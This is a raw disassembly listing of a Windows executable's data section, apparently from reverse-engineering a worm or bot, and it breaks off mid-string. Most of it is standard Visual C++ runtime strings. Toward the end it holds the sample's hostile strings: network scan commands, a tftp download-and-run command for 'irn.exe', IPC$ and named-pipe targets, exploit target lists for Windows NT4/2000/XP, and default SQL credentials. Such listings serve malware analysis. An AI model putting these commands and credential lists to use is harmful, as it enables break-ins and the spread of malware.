db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_423C04o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+157o align 10h ; char asc_41DB10[] asc_41DB10 db 0Ah ; DATA XREF: __NMSG_WRITE:loc_409BC4o db 0Ah,0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+E8o ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+A3o align 10h ; char Src[] Src db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+5Bo db 0Ah db 'Program: ',0 align 4 dd 2 dup(0) dd 7FF00000h, 0 dd 0FFF00000h, 0 dd 7FE00000h, 0 dd 200000h, 3 dup(0) dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h dd 0 dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh dword_41DBB8 dd 6E6174h ; DATA XREF: ___libm_error_support:$LN2o dword_41DBBC dd 736F63h ; DATA XREF: ___libm_error_support:$LN4o dword_41DBC0 dd 6E6973h ; DATA XREF: ___libm_error_support:$LN6_0o aModf db 'modf',0 ; DATA XREF: ___libm_error_support:$LN12_3o align 4 aFloor db 'floor',0 ; DATA XREF: ___libm_error_support:$LN16_2o align 4 aCeil db 'ceil',0 ; DATA XREF: ___libm_error_support:$LN18_3o align 4 aAtan db 'atan',0 ; DATA XREF: ___libm_error_support:$LN20_3o align 4 aExp10 db 'exp10',0 ; DATA XREF: ___libm_error_support+1BFo align 10h dbl_41DBF0 dq 1.0 ; DATA XREF: __floor_default+6Dr aAcos db 'acos',0 ; DATA XREF: ___libm_error_support:$LN30o align 10h aAsin db 'asin',0 ; DATA XREF: ___libm_error_support:$LN8_3o align 4 aLog db 'log',0 ; DATA XREF: ___libm_error_support:loc_40A568o ; ___libm_error_support+149o ... aLog10 db 'log10',0 ; DATA XREF: ___libm_error_support:loc_40A541o ; ___libm_error_support+131o ... align 4 aExp db 'exp',0 ; DATA XREF: ___libm_error_support:loc_40A508o ; ___libm_error_support+10Do ... aPow db 'pow',0 ; DATA XREF: ___libm_error_support:loc_40A4D3o ; ___libm_error_support:loc_40A580o ... off_41DC1C dd offset ___DestructExceptionObject ; DATA XREF: __except_handler4+F1r ; __except_handler4+FAo ... dd offset dword_420E34 off_41DC24 dd offset sub_40B1DA ; DATA XREF: sub_40B1CFo sub_40B1DA+3o ... dd offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime aBadException db 'bad exception',0 ; DATA XREF: unknown_libname_104+156o align 4 dword_41DC3C dd 41h dup(0) ; DATA XREF: unknown_libname_111+25o ; __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+27o asc_41DD40: ; DATA XREF: .data:off_423668o ; .data:00423E70o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_41DF40 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .data:00423E74o ; .data:00423590o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dd 0 dword_41E148 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00423F1Co aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: .data:00423F18o align 4 aPm db 'PM',0 ; DATA XREF: .data:00423F14o align 4 aAm db 'AM',0 ; DATA XREF: .data:00423F10o align 4 aDecember db 'December',0 ; DATA XREF: .data:00423F0Co align 4 aNovember db 'November',0 ; DATA XREF: .data:00423F08o align 4 aOctober db 'October',0 ; DATA XREF: .data:00423F04o aSeptember db 'September',0 ; DATA XREF: .data:00423F00o align 4 aAugust db 'August',0 ; DATA XREF: .data:00423EFCo align 10h aJuly db 'July',0 ; DATA XREF: .data:00423EF8o align 4 aJune db 'June',0 ; DATA XREF: .data:00423EF4o align 10h aApril db 'April',0 ; DATA XREF: .data:00423EECo align 4 aMarch db 'March',0 ; DATA XREF: .data:00423EE8o align 10h aFebruary db 'February',0 ; DATA XREF: .data:00423EE4o align 4 aJanuary db 'January',0 ; DATA XREF: .data:00423EE0o aDec db 'Dec',0 ; DATA XREF: .data:00423EDCo aNov db 'Nov',0 ; DATA XREF: .data:00423ED8o aOct db 'Oct',0 ; DATA XREF: .data:00423ED4o aSep db 'Sep',0 ; DATA XREF: .data:00423ED0o aAug db 'Aug',0 ; DATA XREF: .data:00423ECCo aJul db 'Jul',0 ; DATA XREF: .data:00423EC8o aJun db 'Jun',0 ; DATA XREF: .data:00423EC4o aMay db 'May',0 ; DATA XREF: .data:00423EC0o ; .data:00423EF0o aApr db 'Apr',0 ; DATA XREF: .data:00423EBCo aMar db 'Mar',0 ; DATA XREF: .data:00423EB8o aFeb db 'Feb',0 ; DATA XREF: .data:00423EB4o aJan db 'Jan',0 ; DATA XREF: .data:00423EB0o aSaturday db 'Saturday',0 ; DATA XREF: .data:00423EACo align 10h aFriday db 'Friday',0 ; DATA XREF: .data:00423EA8o align 4 aThursday db 'Thursday',0 ; DATA XREF: .data:00423EA4o align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .data:00423EA0o align 10h aTuesday db 'Tuesday',0 ; DATA XREF: .data:00423E9Co aMonday db 'Monday',0 ; DATA XREF: .data:00423E98o align 10h aSunday db 'Sunday',0 ; DATA XREF: .data:00423E94o align 4 aSat db 'Sat',0 ; DATA XREF: .data:00423E90o aFri db 'Fri',0 ; DATA XREF: .data:00423E8Co aThu db 'Thu',0 ; DATA XREF: .data:00423E88o aWed db 'Wed',0 ; DATA XREF: .data:00423E84o aTue db 'Tue',0 ; DATA XREF: .data:00423E80o aMon db 'Mon',0 ; DATA XREF: .data:00423E7Co aSun db 'Sun',0 ; DATA XREF: .data:off_423E78o aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: ___crtInitCritSecAndSpinCount+53o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: ___crtInitCritSecAndSpinCount+44o align 4 aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: .rdata:0041EB84o align 4 aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: .rdata:0041EB80o align 4 aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: .rdata:0041EB7Co align 4 aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: .rdata:0041EB78o aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: .rdata:0041EB74o align 4 aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: .rdata:0041ECC0o aManagedVectorC db '`managed vector copy constructor iterator',27h,0 ; DATA XREF: .rdata:0041ECBCo align 4 aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0 ; DATA XREF: .rdata:0041ECB8o align 10h aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: .rdata:0041ECB4o align 4 aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: .rdata:0041ECB0o align 4 aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: .rdata:0041ECACo align 4 aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0 ; DATA XREF: .rdata:0041ECA8o aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: .rdata:0041ECA4o align 4 aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: .rdata:0041ECA0o align 10h aManagedVecto_0 db '`managed vector constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC9Co align 4 aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: .rdata:0041EC98o align 4 aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: .rdata:0041EC94o align 4 aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: .rdata:0041EC90o align 4 aDelete db ' delete[]',0 ; DATA XREF: .rdata:0041EC8Co align 10h aNew db ' new[]',0 ; DATA XREF: .rdata:0041EC88o align 4 aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: .rdata:0041EC84o aLocalVftable db '`local vftable',27h,0 ; DATA XREF: .rdata:0041EC80o aRtti db '`RTTI',0 ; DATA XREF: .rdata:0041EC7Co align 4 aEh db '`EH',0 ; DATA XREF: .rdata:0041EC78o aUdtReturning db '`udt returning',27h,0 ; DATA XREF: .rdata:0041EC74o aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: .rdata:0041EC70o align 4 aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC6Co align 4 aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: .rdata:0041EC68o aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC64o align 10h aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: .rdata:0041EC60o align 4 aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC5Co aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: .rdata:0041EC58o align 10h aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC54o align 10h aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: .rdata:0041EC50o align 10h aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: .rdata:0041EC4Co align 10h aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: .rdata:0041EC48o align 10h aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: .rdata:0041EC44o align 4 aString db '`string',27h,0 ; DATA XREF: .rdata:0041EC40o align 10h aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: .rdata:0041EC3Co align 4 aTypeof db '`typeof',27h,0 ; DATA XREF: .rdata:0041EC38o align 4 aVcall db '`vcall',27h,0 ; DATA XREF: .rdata:0041EC34o aVbtable db '`vbtable',27h,0 ; DATA XREF: .rdata:0041EC30o align 4 aVftable db '`vftable',27h,0 ; DATA XREF: .rdata:0041EC2Co align 4 asc_41EA24 db '^=',0 ; DATA XREF: .rdata:0041EC28o align 4 asc_41EA28 db '|=',0 ; DATA XREF: .rdata:0041EC24o align 4 asc_41EA2C db '&=',0 ; DATA XREF: .rdata:0041EC20o align 10h asc_41EA30 db '<<=',0 ; DATA XREF: .rdata:0041EC1Co asc_41EA34 db '>>=',0 ; DATA XREF: .rdata:0041EC18o asc_41EA38 db '%=',0 ; DATA XREF: .rdata:0041EC14o align 4 asc_41EA3C db '/=',0 ; DATA XREF: .rdata:0041EC10o align 10h asc_41EA40 db '-=',0 ; DATA XREF: .rdata:0041EC0Co align 4 asc_41EA44 db '+=',0 ; DATA XREF: .rdata:0041EC08o align 4 asc_41EA48 db '*=',0 ; DATA XREF: .rdata:0041EC04o align 4 asc_41EA4C db '||',0 ; DATA XREF: .rdata:0041EC00o align 10h asc_41EA50 db '&&',0 ; DATA XREF: .rdata:0041EBFCo align 4 asc_41EA54: ; DATA XREF: .rdata:0041EBF8o unicode 0, <|>,0 asc_41EA58: ; DATA XREF: .rdata:0041EBF4o unicode 0, <^>,0 asc_41EA5C: ; DATA XREF: .rdata:0041EBF0o unicode 0, <~>,0 asc_41EA60 db '()',0 ; DATA XREF: .rdata:0041EBECo align 4 asc_41EA64: ; DATA XREF: .rdata:0041EBE8o unicode 0, <,>,0 asc_41EA68 db '>=',0 ; DATA XREF: .rdata:0041EBE4o align 4 asc_41EA6C: ; DATA XREF: .rdata:0041EBE0o dw 3Eh unicode 0, <>,0 asc_41EA70 db '<=',0 ; DATA XREF: .rdata:0041EBDCo align 4 asc_41EA74: ; DATA XREF: .rdata:0041EBD8o dw 3Ch unicode 0, <>,0 asc_41EA78: ; DATA XREF: .rdata:0041EBD4o unicode 0, <%>,0 asc_41EA7C: ; DATA XREF: .rdata:0041EBD0o unicode 0, </>,0 asc_41EA80 db '->*',0 ; DATA XREF: .rdata:0041EBCCo asc_41EA84: ; DATA XREF: .rdata:0041EBC8o unicode 0, <&>,0 asc_41EA88: ; DATA XREF: .rdata:0041EBC4o unicode 0, <+>,0 asc_41EA8C: ; DATA XREF: .rdata:0041EBC0o unicode 0, <->,0 asc_41EA90 db '--',0 ; DATA XREF: .rdata:0041EBBCo align 4 asc_41EA94 db '++',0 ; DATA XREF: .rdata:0041EBB8o align 4 asc_41EA98: ; DATA XREF: .rdata:0041EBB4o unicode 0, <*>,0 asc_41EA9C db '->',0 ; DATA XREF: .rdata:0041EBB0o align 10h aOperator db 'operator',0 ; DATA XREF: .rdata:0041EBACo align 4 asc_41EAAC db '[]',0 ; DATA XREF: .rdata:0041EBA8o align 10h asc_41EAB0 db '!=',0 ; DATA XREF: .rdata:0041EBA4o align 4 asc_41EAB4 db '==',0 ; DATA XREF: .rdata:0041EBA0o align 4 asc_41EAB8: ; DATA XREF: .rdata:0041EB9Co unicode 0, <!>,0 asc_41EABC db '<<',0 ; DATA XREF: .rdata:0041EB98o align 10h asc_41EAC0 db '>>',0 ; DATA XREF: .rdata:0041EB94o align 4 aDelete_0 db ' delete',0 ; DATA XREF: .rdata:0041EB8Co aNew_0 db ' new',0 ; DATA XREF: .rdata:0041EB88o align 4 a__unaligned db '__unaligned',0 ; DATA XREF: .rdata:0041EB6Co a__restrict db '__restrict',0 ; DATA XREF: .rdata:0041EB68o align 4 ; a__ptr64 a__ptr64 db '__ptr64',0 ; DATA XREF: .rdata:0041EB64o a__clrcall db '__clrcall',0 ; DATA XREF: .rdata:0041EB60o align 10h a__fastcall db '__fastcall',0 ; DATA XREF: .rdata:0041EB5Co align 4 a__thiscall db '__thiscall',0 ; DATA XREF: .rdata:0041EB58o align 4 a__stdcall db '__stdcall',0 ; DATA XREF: .rdata:0041EB54o align 4 a__pascal db '__pascal',0 ; DATA XREF: .rdata:0041EB50o align 10h a__cdecl db '__cdecl',0 ; DATA XREF: .rdata:0041EB4Co a__based db '__based(',0 ; DATA XREF: .rdata:0041EB48o align 8 dd offset a__based ; "__based(" dd offset a__cdecl ; "__cdecl" dd offset a__pascal ; "__pascal" dd offset a__stdcall ; "__stdcall" dd offset a__thiscall ; "__thiscall" dd offset a__fastcall ; "__fastcall" dd offset a__clrcall ; "__clrcall" dd offset a__ptr64 ; "__ptr64" dd offset a__restrict ; "__restrict" dd offset a__unaligned ; "__unaligned" dd offset word_41D482 dd offset aTypeDescriptor ; " Type Descriptor'" dd offset aBaseClassDescr ; " Base Class Descriptor at (" dd offset aBaseClassArray ; " Base Class Array'" dd offset aClassHierarchy ; " Class Hierarchy Descriptor'" dd offset aCompleteObject ; " Complete Object Locator'" dd offset aNew_0 ; " new" dd offset aDelete_0 ; " delete" dd offset byte_41D480 dd offset asc_41EAC0 ; ">>" dd offset asc_41EABC ; "<<" dd offset asc_41EAB8 ; "!" dd offset asc_41EAB4 ; "==" dd offset asc_41EAB0 ; "!=" dd offset asc_41EAAC ; "[]" dd offset aOperator ; "operator" dd offset asc_41EA9C ; "->" dd offset asc_41EA98 ; "*" dd offset asc_41EA94 ; "++" dd offset asc_41EA90 ; "--" dd offset asc_41EA8C ; "-" dd offset asc_41EA88 ; "+" dd offset asc_41EA84 ; "&" dd offset asc_41EA80 ; "->*" dd offset asc_41EA7C ; "/" dd offset asc_41EA78 ; "%" dd offset asc_41EA74 ; "<" dd offset asc_41EA70 ; "<=" dd offset asc_41EA6C ; ">" dd offset asc_41EA68 ; ">=" dd offset asc_41EA64 ; "," dd offset asc_41EA60 ; "()" dd offset asc_41EA5C ; "~" dd offset asc_41EA58 ; "^" dd offset asc_41EA54 ; "|" dd offset asc_41EA50 ; "&&" dd offset asc_41EA4C ; "||" dd offset asc_41EA48 ; "*=" dd offset asc_41EA44 ; "+=" dd offset asc_41EA40 ; "-=" dd offset asc_41EA3C ; "/=" dd offset asc_41EA38 ; "%=" dd offset asc_41EA34 ; ">>=" dd offset asc_41EA30 ; "<<=" dd offset asc_41EA2C ; "&=" dd offset asc_41EA28 ; "|=" dd offset asc_41EA24 ; "^=" dd offset aVftable ; "`vftable'" dd offset aVbtable ; "`vbtable'" dd offset aVcall ; "`vcall'" dd offset aTypeof ; "`typeof'" dd offset aLocalStaticGua ; "`local static guard'" dd offset aString ; "`string'" dd offset aVbaseDestructo ; "`vbase destructor'" dd offset aVectorDeleting ; "`vector deleting destructor'" dd offset aDefaultConstru ; "`default constructor closure'" dd offset aScalarDeleting ; "`scalar deleting destructor'" dd offset aVectorConstruc ; "`vector constructor iterator'" dd offset aVectorDestruct ; "`vector destructor iterator'" dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'" dd offset aVirtualDisplac ; "`virtual displacement map'" dd offset aEhVectorConstr ; "`eh vector constructor iterator'" dd offset aEhVectorDestru ; "`eh vector destructor iterator'" dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'" dd offset aCopyConstructo ; "`copy constructor closure'" dd offset aUdtReturning ; "`udt returning'" dd offset aEh ; "`EH" dd offset aRtti ; "`RTTI" dd offset aLocalVftable ; "`local vftable'" dd offset aLocalVftableCo ; "`local vftable constructor closure'" dd offset aNew ; " new[]" dd offset aDelete ; " delete[]" dd offset aOmniCallsig ; "`omni callsig'" dd offset aPlacementDel_0 ; "`placement delete closure'" dd offset aPlacementDelet ; "`placement delete[] closure'" dd offset aManagedVecto_0 ; "`managed vector constructor iterator'" dd offset aManagedVectorD ; "`managed vector destructor iterator'" dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'" dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"... dd offset aDynamicInitial ; "`dynamic initializer for '" dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '" dd offset aVectorCopyCons ; "`vector copy constructor iterator'" dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"... dd offset aManagedVectorC ; "`managed vector copy constructor iterat"... dd offset aLocalStaticThr ; "`local static thread guard'" dd offset word_41D482 dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h dd 30370007h, 88505030h, 20000000h, 80888028h, 80h aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0 dw 800h dd 7000800h, 8 aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_40F524+C1o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_40F524+A9o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_40F524+6Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_40F524+58o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_40F524+46o aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_40F524+28o align 4 off_41ED94 dd offset __fpmath ; DATA XREF: __cinitr __cinit+9o ... dd offset nullsub_1 dd offset nullsub_1 a_nextafter db '_nextafter',0 align 4 a_logb db '_logb',0 align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 10h a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 10h aLdexp db 'ldexp',0 align 4 aFabs db 'fabs',0 align 10h aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 dbl_41EE18 dq 0.0 ; DATA XREF: __handle_exc+143r aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 10h ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe2_l:loc_410B2Co align 4 dbl_41EE68 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_41EE70 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 10h aConout db 'CONOUT$',0 ; DATA XREF: ___initconout+Eo ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_412BE0o align 10h ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+103o align 4 a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+F4o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+DCo align 4 aBadAllocatio_0 db 'bad allocation',0 ; DATA XREF: .data:00424520o align 4 ; char aScan_start[] aScan_start db 'scan.start',0 ; DATA XREF: sub_41C370+D5o align 4 ; char aScan_stop[] aScan_stop db 'scan.stop',0 ; DATA XREF: sub_41C370+F1o byte_41EEEE db 0 ; DATA XREF: sub_41A9DE+9Co byte_41EEEF db 0 ; DATA XREF: sub_41A9DE+A8o ; char aScan_stats[] aScan_stats db 'scan.stats',0 ; DATA XREF: sub_41C370+10Do align 4 ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_413A2D+4Ao ; char aS_0[] aS_0 db '%s',0 ; DATA XREF: sub_413A2D+18Co byte_41EF0B db 0 ; DATA XREF: .data:off_424650o ; char aS_1[] aS_1 db '%s',0 ; DATA XREF: sub_413A2D+29Co byte_41EF0F db 0 ; DATA XREF: sub_41B925+1DDo ; char aS_2[] aS_2 db '%s',0 ; DATA XREF: sub_413A2D+386o align 4 ; char aS_3[] aS_3 db '%s',0 ; DATA XREF: sub_413A2D+495o byte_41EF17 db 0 ; DATA XREF: .text:loc_41C061o aBadAllocatio_1 db 'bad allocation',0 ; DATA XREF: .data:00424524o align 4 aTftpISGetIrn_e db 'tftp -i %s GET irn.exe&start irn.exe&exit',0Dh,0Ah,0 aBadAllocatio_2 db 'bad allocation',0 ; DATA XREF: .data:004245D8o align 4 dword_41EF64 dd 5C0D0A00h ; DATA XREF: sub_41A5C1+1Fr dword_41EF68 dd 2E2F5Fh ; DATA XREF: sub_41A5C1+27r dword_41EF6C dd 0 ; DATA XREF: sub_41A5C1+2Co dword_41EF70 dd 0 ; DATA XREF: sub_41A5C1+51o ; char aHttpSDS_0[] aHttpSDS_0 db 'http://%s:%d/%s',0 ; DATA XREF: sub_41A5C1+F1o ; char aHttpSDS_1[] aHttpSDS_1 db 'http://%s:%d/%s',0 ; DATA XREF: sub_41A5C1+162o aBadAllocatio_3 db 'bad allocation',0 align 4 aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0 aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:00424634o align 4 aIpc: unicode 0, <\IPC$>,0 unicode 0, <\\>,0 align 4 dd 2 dup(0) aIpc_0: unicode 0, <\IPC$>,0 unicode 0, <\\>,0 align 4 ; char a_[] a_ db '.',0 ; DATA XREF: sub_41A9DE+57o align 4 ; char aSIpc[] aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_41A9DE+76o align 4 ; char aSPipeBrowser[] aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_41A9DE+CAo align 4 dword_41F02C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_41A9DE+191o dword_41F040 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 3 dup(0) ; DATA XREF: sub_41A9DE+1ACo dd 2EBh, 0 ; char aHttpSDS_2[] aHttpSDS_2 db 'http://%s:%d/%s',0 ; DATA XREF: sub_41A9DE+3D3o ; char aHttpSDS_3[] aHttpSDS_3 db 'http://%s:%d/%s',0 ; DATA XREF: sub_41A9DE+451o ; char aSExploitedS_[] aSExploitedS_ db '%s: Exploited: %s.',0 ; DATA XREF: sub_41A9DE+786o align 4 aBadAllocatio_4 db 'bad allocation',0 ; DATA XREF: .data:00424648o align 4 aSa db 'sa',0 ; DATA XREF: sub_41B1A0+55o align 4 aRoot db 'root',0 ; DATA XREF: sub_41B1A0+5Co align 4 aAdmin db 'admin',0 ; DATA XREF: sub_41B1A0+63o align 4 ; char aDriverSqlServe[] aDriverSqlServe db 'DRIVER={SQL 